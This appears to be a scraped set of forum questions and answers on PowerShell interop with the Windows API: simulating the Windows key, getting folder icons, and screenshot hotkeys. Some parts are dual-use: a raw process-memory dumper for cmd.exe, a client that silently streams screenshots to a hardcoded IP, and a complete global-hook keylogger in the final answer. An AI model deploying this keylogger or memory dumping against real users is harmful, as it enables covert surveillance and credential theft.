In powershell I'm using [System.Windows.Forms.SendKeys] to send keystrokes. However I'm having trouble emulating the windows key. Since it isn't one of the keys I found in the list in the docs:
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.sendkeys?view=netcore-3.1
In this post I saw that they were emulating the windows keys using ctrl+esc however this doesn't seem to work.
Sending Windows key using SendKeys
Any idea how to accomplish this?
Try this solution. It has press down window key so that you can send combination key along with that.
**for me Win + Right Arrow key worked but shift doesn't have any effect on my machine. It might work for you.
$source = #"
using System;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeySends
{
public class KeySend
{
[DllImport("user32.dll")]
public static extern void keybd_event(byte bVk, byte bScan, int dwFlags, int dwExtraInfo);
private const int KEYEVENTF_EXTENDEDKEY = 1;
private const int KEYEVENTF_KEYUP = 2;
public static void KeyDown(Keys vKey)
{
keybd_event((byte)vKey, 0, KEYEVENTF_EXTENDEDKEY, 0);
}
public static void KeyUp(Keys vKey)
{
keybd_event((byte)vKey, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
}
}
}
"#
Add-Type -TypeDefinition $source -ReferencedAssemblies "System.Windows.Forms"
Function WinKey ($Key)
{
[KeySends.KeySend]::KeyDown("LWin")
[KeySends.KeySend]::KeyDown("ShiftKey")
[KeySends.KeySend]::KeyDown("$Key")
[KeySends.KeySend]::KeyUp("LWin")
[KeySends.KeySend]::KeyUp("ShiftKey")
}
WinKey({Right})
.NET System.Windows.Forms Keys list
Related
I have the following powershell code to dump the process memory from a given process. In this case, cmd.exe.
It opens the given process with PROCESS_ALL_ACCESS and uses VirtualQueryEx to list all the memory regions. For each memory region it finds, it calls ReadProcessMemory and writes the bytes read to a file.
$typeDefinition = #"
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
public static partial class MemApi
{
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION64
{
public ulong BaseAddress;
public ulong AllocationBase;
public int AllocationProtect;
public int __alignment1;
public ulong RegionSize;
public int State;
public int Protect;
public int Type;
public int __alignment2;
}
[Flags]
public enum ProcessAccessFlags : uint
{
VM_READ = 0x00000010,
PROCESS_ALL_ACCESS = 0x001F0FFF
}
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags dwAccess,
[MarshalAs(UnmanagedType.Bool)]
bool bInheritHandle,
int dwProcId
);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern int VirtualQueryEx(
IntPtr hProc,
IntPtr lpAddr,
out MEMORY_BASIC_INFORMATION64 lpBuf,
int dwLen
);
public static List<MEMORY_BASIC_INFORMATION64> ListMemoryRegions(
IntPtr hProc
)
{
long maxAddr = 0x00007FFFFFFFFFFF;
long addr = 0;
List<MEMORY_BASIC_INFORMATION64> regions = new List<MEMORY_BASIC_INFORMATION64>();
do
{
MEMORY_BASIC_INFORMATION64 m;
int result = VirtualQueryEx(hProc, (IntPtr)addr, out m, (int)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION64)));
if (addr == (long)m.BaseAddress + (long)m.RegionSize)
break;
addr = (long)m.BaseAddress + (long)m.RegionSize;
regions.Add(m);
} while (addr <= maxAddr);
return regions;
}
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern Boolean ReadProcessMemory(
IntPtr hProc,
IntPtr lpBaseAddr,
byte[] lpBuf,
UInt32 nSize,
ref UInt32 lpNBytes
);
}
"#
Add-Type -TypeDefinition $typeDefinition -Language CSharp
$cmd = Get-Process -Name cmd
$handle = [MemApi]::OpenProcess(0x1F0FFF, $false, $cmd.Id)
$regions = [MemApi]::ListMemoryRegions($handle)
$fileStream = [System.IO.File]::OpenWrite("$env:TEMP\cmd.DMP")
Write-Host "$($regions.Count) memory segments have been found"
for ($i = 0; $i -lt $regions.Count; $i++)
{
Write-Host "Exporting memory region $("{0:d4}/{1:d4}" -f $i, ($regions.Count + 1)) ($("0x{0:X16} - 0x{1:X16}" -f $regions[$i].BaseAddress, ($regions[$i].BaseAddress + $regions[$i].RegionSize)))..."
try
{
$read = 0
$buff = New-Object byte[] $regions[$i].RegionSize
if ([MemApi]::ReadProcessMemory($handle, [System.IntPtr]::new($regions[$i].BaseAddress), $buff, $buff.Length, [ref]$read) -eq $true)
{
$fileStream.Write($buff, 0, $buff.Length)
}
} catch { } finally { }
}
$fileStream.Close()
I would like to avoid using dbghelp.dll to do this, but is there a way I can create a MiniDump file out of this raw memory? Would I need to change the code at all or is there an external tool that can convert this?
I've tried to take a look into the MiniDumpWriteDump function to see if I can replicate it at all but I've had no luck.
I've also tried volatility's raw2dmp function, but this has not worked unfortunately.
Apologies if this is completely on the wrong tracks!
Any help would be much appreciated - Merry Christmas!
I'm trying to pull folder icons for a listview in a winform. I'm using [Drawing.Icon]::ExtractAssociatedIcon for file icons, but it doesn't work on folders.
I found this question here on stack which said to use SHGetStockIconInfo, but I can't wrap my head around how to load this function and use it in Powershell (I have no C programming experience). I managed to pull this from the linked question, but I'm stuck:
Add-Type -NameSpace WinAPI -Name DefaultIcons -MemberDefinition #'
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SHSTOCKICONINFO {
public uint cbSize;
public IntPtr hIcon;
public int iSysIconIndex;
public int iIcon;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
public string szPath;
}
[DllImport("shell32.dll")]
public static extern int SHGetStockIconInfo(uint siid, uint uFlags, ref SHSTOCKICONINFO psii);
[DllImport("user32.dll")]
public static extern bool DestroyIcon(IntPtr handle);
private const uint SHSIID_FOLDER = 0x3;
private const uint SHGSI_ICON = 0x100;
private const uint SHGSI_LARGEICON = 0x0;
private const uint SHGSI_SMALLICON = 0x1;
'#
This runs without error, but that's as far as I can get and I don't fully understand what's going on.
I know I need to call the function SHGetStockIconInfo with three parameters:
uint to identify what icon I want
uint flag for the size of icon I want
a reference to a SHSTOCKICONINFO structure
The question I got all this from includes a GetStockIcon function definition, but I keep getting errors trying to include it saying The type or namespace name 'Icon' could not be found (are you missing a using directive or an assembly reference?)
With a few adjustments I got the code from that C# question to work under both PowerShell 5.1 and 7.2.6.
$refAsm = if( $PSVersionTable.PSVersion.Major -le 5 ) {'System.Drawing'} else {'System.Drawing.Common'}
Add-Type -ReferencedAssemblies $refAsm -TypeDefinition #'
using System;
using System.Runtime.InteropServices;
using System.Drawing;
public static class DefaultIcons
{
public static Icon GetStockIcon(uint type, uint size)
{
var info = new SHSTOCKICONINFO();
info.cbSize = (uint)Marshal.SizeOf(info);
SHGetStockIconInfo(type, SHGSI_ICON | size, ref info);
var icon = (Icon)Icon.FromHandle(info.hIcon).Clone(); // Get a copy that does not use the original handle
DestroyIcon(info.hIcon); // Clean up native icon to prevent resource leak
return icon;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct SHSTOCKICONINFO
{
public uint cbSize;
public IntPtr hIcon;
public int iSysIconIndex;
public int iIcon;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
public string szPath;
}
[DllImport("shell32.dll")]
public static extern int SHGetStockIconInfo(uint siid, uint uFlags, ref SHSTOCKICONINFO psii);
[DllImport("user32.dll")]
public static extern bool DestroyIcon(IntPtr handle);
public const uint SHSIID_FOLDER = 0x3;
public const uint SHGSI_ICON = 0x100;
public const uint SHGSI_LARGEICON = 0x0;
public const uint SHGSI_SMALLICON = 0x1;
}
'#
Use it like this:
$folderIconLarge = [DefaultIcons]::GetStockIcon( [DefaultIcons]::SHSIID_FOLDER, [DefaultIcons]::SHGSI_LARGEICON )
$folderIconSmall = [DefaultIcons]::GetStockIcon( [DefaultIcons]::SHSIID_FOLDER, [DefaultIcons]::SHGSI_SMALLICON )
I'm trying to create a script where upon running, I can use the Double-Click to trigger a Screenshot. I was thinking maybe I could trigger the WindowsKey + Alt + PrintScreen (this is Xbox's Gamebar Screenshot) in Powershell?
Then I saw this post, and this is exactly what I need to trigger the 3 keys combination, but upon trying no screenshot has been acquired or maybe the "Alt" key was not recognized?
Multiple key press simultaneously for Windows logo key + Alt + PrtScn in powershell?
So maybe, can anyone tell me if it's really possible to do these 3 key combinations? And also, is Double-Click possible? since I can't see any references getting a double-click.
EDIT:
I almost passed out when I realize the solution for Windows+Alt+PrtSc.
I changed the word constant from the ::keydown("Alt") and changed it to "LMenu" and it works!
https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
This is working just what I like, the only problem is the Double-Click
$source = #"
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyboardSend
{
public class KeyboardSend
{
[DllImport("user32.dll")]
public static extern void keybd_event(byte bVk, byte bScan, int dwFlags, int dwExtraInfo);
private const int KEYEVENTF_EXTENDEDKEY = 1;
private const int KEYEVENTF_KEYUP = 2;
public static void KeyDown(Keys vKey)
{
keybd_event((byte)vKey, 0, KEYEVENTF_EXTENDEDKEY, 0);
}
public static void KeyUp(Keys vKey)
{
keybd_event((byte)vKey, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
}
}
}
"#
# Call the Virtual Key Codes/ Is there a virtual key code for Double-Click?
$LeftClick = '0x01' # Leftclick
# Records the Left Click
$signatureClick=#'
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'#
Add-Type -memberDefinition $signatureClick -name Mouse -namespace PsOneApi
Do {
If ([PsOneApi.Keyboard]::GetAsyncKeyState($LeftClick) -eq -32767) {
Add-Type -TypeDefinition $source -ReferencedAssemblies "System.Windows.Forms"
[KeyboardSend.KeyboardSend]::KeyDown("LWin")
[KeyboardSend.KeyboardSend]::KeyDown("LMenu")
[KeyboardSend.KeyboardSend]::KeyDown("PrintScreen")
[KeyboardSend.KeyboardSend]::KeyUp("PrintScreen")
[KeyboardSend.KeyboardSend]::KeyUp("LMenu")
[KeyboardSend.KeyboardSend]::KeyUp("LWin")
Start-Sleep -Seconds 1.5
Write-Host "`nScreen has been captured via Click!" -ForegroundColor Red
}
} While($True)
i am trying to make a screen viewer.
i have an C# server side that works good and i have C# client side that works good.
this is my C# client side code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Net;
using System.Threading;
using System.Drawing.Imaging;
using System.Runtime.Serialization.Formatters.Binary;
namespace WindowsFormsApp24
{
public partial class Form1 : Form
{
private readonly TcpClient client = new TcpClient();
private NetworkStream mainStream;
private int portNumber;
private static Image GrabDesktop()
{
Rectangle bound = Screen.PrimaryScreen.Bounds;
Bitmap screenshot = new Bitmap(bound.Width, bound.Height, PixelFormat.Format32bppArgb);
Graphics graphics = Graphics.FromImage(screenshot);
graphics.CopyFromScreen(bound.X, bound.Y, 0, 0, bound.Size, CopyPixelOperation.SourceCopy);
return screenshot;
}
private void SendDesktopImage()
{
BinaryFormatter binFormatter = new BinaryFormatter();
mainStream = client.GetStream();
binFormatter.Serialize(mainStream, GrabDesktop());
}
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
portNumber = 443;
try
{
string ip = "192.168.1.55";
client.Connect(ip, portNumber);
}
catch
{
}
timer1.Start();
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
}
private void btnConnect_Click(object sender, EventArgs e)
{
}
private void timer1_Tick(object sender, EventArgs e)
{
SendDesktopImage();
}
}
}
The thing i am trying to do, is to switch the client side from C# to powershell.
is that possible? i am searching for ideas on google for along time, I would be happy
to hear what you have to say.. many thanks.
C# and Powershell are both using some version of the Dot Net runtime so the same objects and properties should be available in both, just by a different syntax. The process for converting between the two is basically this:
First you need to load the required assemblies into powershell with Add-Type. You will require several assemblies such as System.Net, System.Drawing and System.Windows.Forms to get access to the Objects in your code. (this is essentially the same as adding references to a C# project). Example: Add-Type -AssemblyName System.Drawing; would load everything inside System.Drawing.dll
Next you need to convert the syntax from C# to powershell line by line:
Example
private readonly TcpClient client = new TcpClient();
Would become:
[System.Net.Sockets.TcpClient] $client = New-Object System.Net.Sockets.TcpClient
Mostly this process will be simplification and expanding names. Above [System.Net.Sockets.TcpClient] is the fully qualified type - ie the long form name of the C# Class (visible on the tooltips in Visual Studio). New-Object is equivalent to new
Assuming you just want the screenshot to be taken and sent each time the script is executed you dont need to worry about writing classes or functions in powershell you can just convert each functional line of c# into powershell in a text file saved with .ps1 extension.
I was thinking of a scenario to detect a key combination [preferably window key + a] using the built in scripting languages like vb script, powershell script, batch script etc.. is there any way to do this ?
I personally love AutoHotKey you create a script and it will detect any key combination. It is fast and easy to use and I have dozens of key combinations that I have scripted and use every day.
If you must use a built-in scripting language, then the easiest is to create the desired script in whatever language that you prefer (for ex. PowerShell). Then create a shortcut that will run your script (for ex. something like powershell.exe -file "c:\myScript.ps1").
Then after testing your shortcut and script, go to the Shortcut's properties, and there is a "Shortcut key" field that you can bind a key combination to.
Using built in languages is a bit more cumbersome, and you have to have a separate script and shortcut for each key combination. Compared to AutoHotKey which you can combine all your key combinations into one file.
To do this via powershell or other built-in tools seems to be quite ambitious.
What you're going to need to learn about are "System Hooks" which are used in the Windows operating system to keep track of things that are going on outside the running program or script.
I found this link on the subject, it's something I'm still trying to learn myself so I can't promise it's a good explanation:
http://www.codeproject.com/Articles/6362/Global-System-Hooks-in-NET
Here is an example of a powershell script to operate a keylogger, it records all keystrokes and sends them to a log file:
http://hinchley.net/2013/11/02/creating-a-key-logger-via-a-global-system-hook-using-powershell/
Add-Type -TypeDefinition #"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const string logFileName = "log.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main() {
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}
private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
"# -ReferencedAssemblies System.Windows.Forms
[KeyLogger.Program]::Main();
Hopefully this points you in the right direction and you're able to get something working out of this!